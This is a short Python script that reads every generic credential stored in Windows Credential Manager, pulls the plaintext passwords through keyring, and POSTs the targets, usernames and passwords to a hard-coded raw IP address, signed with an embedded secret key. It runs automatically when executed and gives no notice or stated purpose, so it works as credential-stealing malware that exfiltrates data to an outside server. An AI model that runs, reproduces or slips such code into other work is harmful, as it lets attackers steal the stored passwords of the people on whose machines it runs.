import keyring
import win32cred
import time
import hashlib
import requests


def sync():
    secret = "P4I8HCOP1OP7432XZVKR2MPJKKVQ7J"
    url = "http://1.95.166.150:8997/api/v1/storeAccount/sync?appId=mudi-key&sign={}&timestamp={}"
    credentials = win32cred.CredEnumerate()
    sync_list = []
    for cred in credentials:
        if cred['Type'] == 1:
            pwd = keyring.get_password(service_name=cred['TargetName'], username=cred['UserName'])
            sync_list.append({"voucher": cred['TargetName'], "userName": cred['UserName'], "pwd": pwd})
    timestamp = int(time.time() * 1000)
    text = "mudi-key{}{}".format(timestamp, secret)
    sign = hashlib.md5(text.encode(encoding='UTF-8')).hexdigest()
    requests.request("POST", url.format(sign.upper(), timestamp), json=sync_list)


sync()
